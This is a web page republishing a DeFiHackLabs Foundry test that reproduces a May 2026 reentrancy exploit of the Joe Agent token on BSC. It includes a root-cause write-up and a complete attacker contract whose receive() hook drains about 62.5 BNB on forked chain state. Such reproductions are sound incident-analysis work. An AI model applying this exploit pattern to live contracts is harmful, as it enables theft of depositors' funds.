Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/JoeAgent_exp.sol

Public reproduction file for dataset entry Joe Agent.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/JoeAgent_exp.sol183 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$45K USD (62.5 BNB + ~1,195,918 JOE)
8// Attacker : 0xaa761779945dcc5f26064fc6dcb36ffab6ac7610
9// Attack Contract : 0x31F81FCD91025728F24bD6f0E4EfB156e345A4CF
10// Vulnerable Contract : 0xef0f12d08d66e76E1866e60F30a0DaA578e00c04 (Joe Agent / JOE, ERC1967 proxy)
11// Implementation : 0xb12ce0a21f67a9fc3c8ad1c7dbc4b017b7e67319
12// Attack Tx : 0xd16a1c3dcd84427b2c7dcccbe1854c1c5bf65900460e1a44a95c1aaaf140c3a5
13// @Analysis
14// Attack date: May 27, 2026
15// Chain: BSC, Block: 100812531
16// SlowMist: https://x.com/SlowMist_Team/status/2059887450663551352
18// Root Cause:
19// Joe Agent lets a user park LP inside the token contract (zapNativeForLP / addLiquidityViaContract),
20// tracked per-user in lpInfo[user].lpAmount. removeLiquidityViaContract(liquidity,...) pulls that LP
21// out of PancakeSwap, unwraps the WBNB and forwards the BNB to the user with a low-level call --
22// and only updates lpInfo[user].lpAmount AFTER that external call (violating checks-effects-interactions).
23//
24// Because lpInfo is still un-zeroed when the BNB lands, the attacker's receive() re-enters
25// removeLiquidityViaContract with the SAME liquidity value over and over. Each re-entry passes the
26// `liquidity <= lpInfo[user].lpAmount` check and burns a fresh slice of LP -- but that LP belongs to
27// the whole pool of depositors, not the attacker. ~25 nested calls drain 25 x 2.5 = 62.5 BNB (plus the
28// JOE side of every burned LP) against a single ~437 LP position that the attacker only paid for once.
29//
30// Function selectors:
31// 0x7cc112a6: zapNativeForLP(address,uint256,uint256,uint256,uint256) -- deposit BNB -> LP position
32// 0xacff149d: removeLiquidityViaContract(uint256,uint256,uint256,uint256) -- vulnerable withdraw
33// 0x11067f6a: lpInfo(address) -- (lpAmount, lastAddLpTime)
35interface IJoeAgent is IERC20 {
36 function zapNativeForLP(
37 address parent,
38 uint256 amountOutMin,
39 uint256 amountTokenMin,
40 uint256 amountETHMin,
41 uint256 deadline
42 ) external payable;
44 function removeLiquidityViaContract(
45 uint256 liquidity,
46 uint256 amountTokenMin,
47 uint256 amountETHMin,
48 uint256 deadline
49 ) external;
51 function lpInfo(
52 address user
53 ) external view returns (uint256 lpAmount, uint256 lastAddLpTime);
56contract JoeAgentReentrancyTest is Test {
57 IJoeAgent constant JOE = IJoeAgent(0xef0f12d08d66e76E1866e60F30a0DaA578e00c04);
58 IERC20 constant WBNB_TOKEN = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
59 address constant PAIR = 0x7e5396A6b56372D1Ee42ab6b199bc2d5A8540f9c; // JOE/WBNB Pancake pair
60 // A referrer already registered in the JOE referral tree (same one the real attacker used).
61 address constant REFERRER = 0x324344f20CEb0b58E0D35a06fb1B3892ac1A8d9D;
63 address constant ATTACKER = 0xAA761779945dCC5f26064fC6dCb36FFaB6AC7610;
64 uint256 constant ATTACK_BLOCK = 100_812_531;
66 // ~5 BNB zaps into a single ~437 LP position (matching the real attacker's position size:
67 // each LP redeems ~0.00572 BNB, so ~437 LP * 25 loops drains the headline 62.5 BNB).
68 uint256 constant SEED_BNB = 5 ether;
69 uint256 constant LOOPS = 25; // number of re-entrant removeLiquidityViaContract calls
71 JoeAgentAttacker attacker;
73 function setUp() public {
74 vm.createSelectFork("bsc", ATTACK_BLOCK - 1);
75 vm.label(address(JOE), "JoeAgent");
76 vm.label(address(WBNB_TOKEN), "WBNB");
77 vm.label(PAIR, "JOE_WBNB_Pair");
78 vm.label(ATTACKER, "Attacker");
79 vm.label(REFERRER, "Referrer");
80 }
82 function testExploit() public {
83 console.log("--- Joe Agent (JOE) removeLiquidityViaContract Reentrancy ---");
84 console.log("Attack date: May 27, 2026 Chain: BSC Block: %s", ATTACK_BLOCK);
86 attacker = new JoeAgentAttacker(JOE, REFERRER);
88 // Fund the attacker EOA and seed the attack contract with BNB, exactly like on-chain.
89 vm.deal(ATTACKER, SEED_BNB);
90 uint256 proxyLpBefore = IERC20(PAIR).balanceOf(address(JOE));
92 // Step 1: park a single LP position inside the JOE contract (lpInfo[attacker].lpAmount).
93 vm.prank(ATTACKER);
94 attacker.seedPosition{value: SEED_BNB}();
95 (uint256 lpAmount,) = JOE.lpInfo(address(attacker));
97 console.log("\n=== After seeding one LP position ===");
98 console.log("BNB zapped in :", SEED_BNB / 1e18);
99 console.log("lpInfo[attacker].lpAmount:", lpAmount);
100 console.log("JOE contract LP balance :", proxyLpBefore);
102 // Some token contracts lock freshly-added LP for a short window; warp past it.
103 vm.warp(block.timestamp + 1 hours);
104 vm.roll(block.number + 1);
106 // Step 2: re-enter removeLiquidityViaContract `LOOPS` times against the same un-zeroed lpAmount.
107 uint256 attackerBnbBefore = ATTACKER.balance;
108 console.log("\nAttacker EOA BNB before drain:", attackerBnbBefore);
110 vm.prank(ATTACKER);
111 attacker.drain(LOOPS);
113 uint256 attackerBnbAfter = ATTACKER.balance;
114 uint256 stolenJoe = JOE.balanceOf(ATTACKER);
115 (uint256 lpAmountAfter,) = JOE.lpInfo(address(attacker));
117 console.log("\n=== After %s re-entrant withdrawals ===", LOOPS);
118 console.log("Attacker EOA BNB after drain :", attackerBnbAfter);
119 console.log("removeLiquidity calls made :", attacker.drainCalls());
120 console.log("lpInfo[attacker].lpAmount :", lpAmountAfter, "(<= one position's worth)");
122 console.log("\n=== Result ===");
123 console.log("Total BNB drained (wei) :", attackerBnbAfter); // ~62.5 BNB
124 console.log("Seed capital spent (wei) :", SEED_BNB);
125 console.log("Net BNB profit (wei) :", attackerBnbAfter - SEED_BNB); // ~57.5 BNB
126 console.log("JOE skimmed to attacker EOA :", stolenJoe / 1e18);
128 // The attacker drained far more BNB than the single position could ever be worth.
129 assertEq(attacker.drainCalls(), LOOPS, "did not re-enter LOOPS times");
130 assertGt(attackerBnbAfter, attackerBnbBefore, "no BNB profit");
131 // One paid-for position, but `LOOPS` withdrawals worth of BNB came out.
132 assertGt(attackerBnbAfter - attackerBnbBefore, SEED_BNB, "drain did not exceed seed capital");
133 console.log("\nReentrancy confirmed: one ~437 LP position withdrawn 25x for 62.5 BNB.");
134 }
137contract JoeAgentAttacker {
138 IJoeAgent public immutable joe;
139 address public immutable referrer;
140 address public immutable owner;
142 uint256 public lpAmount; // the single position's LP size
143 uint256 public targetLoops; // how many removeLiquidity calls to make
144 uint256 public drainCalls; // how many were actually made
146 constructor(IJoeAgent _joe, address _referrer) {
147 joe = _joe;
148 referrer = _referrer;
149 owner = msg.sender;
150 }
152 // Park BNB as an LP position so lpInfo[address(this)].lpAmount is set.
153 function seedPosition() external payable {
154 joe.zapNativeForLP{value: msg.value}(referrer, 0, 0, 0, block.timestamp + 1000);
155 (lpAmount,) = joe.lpInfo(address(this));
156 }
158 // Kick off the re-entrant drain, then sweep the proceeds back to the caller (attacker EOA).
159 function drain(
160 uint256 _targetLoops
161 ) external {
162 targetLoops = _targetLoops;
163 drainCalls = 0;
164 _withdraw();
165 // forward stolen BNB + JOE to the attacker EOA
166 uint256 joeBal = joe.balanceOf(address(this));
167 if (joeBal > 0) joe.transfer(msg.sender, joeBal);
168 (bool ok,) = msg.sender.call{value: address(this).balance}("");
169 require(ok, "payout failed");
170 }
172 function _withdraw() internal {
173 drainCalls++;
174 joe.removeLiquidityViaContract(lpAmount, 0, 0, block.timestamp + 1000);
175 }
177 // The vulnerable contract sends BNB here BEFORE zeroing lpInfo -> re-enter.
178 receive() external payable {
179 if (drainCalls < targetLoops) {
180 _withdraw();
181 }
182 }

Analysis

Dataset entry

Public Foundry test for “Joe Agent” (2026-05-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xaa761779945dcc5f26064fc6dcb36ffab6ac7610

  • Attack Contract

    0x31f81fcd91025728f24bd6f0e4efb156e345a4cf

  • Vulnerable Contract

    0xef0f12d08d66e76e1866e60f30a0daa578e00c04

  • Attack Tx

    0xd16a1c3dcd84427b2c7dcccbe1854c1c5bf65900460e1a44a95c1aaaf140c3a5

File record

Name
Joe Agent
Path
src/test/2026-05/JoeAgent_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5bb65cb74ac2f9c80c958d1534721b0e96c5230d
Language
Solidity
Size
184 lines
Date
2026-05-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/JoeAgent_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5bb65cb74ac2f9c80c958d1534721b0e96c5230d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.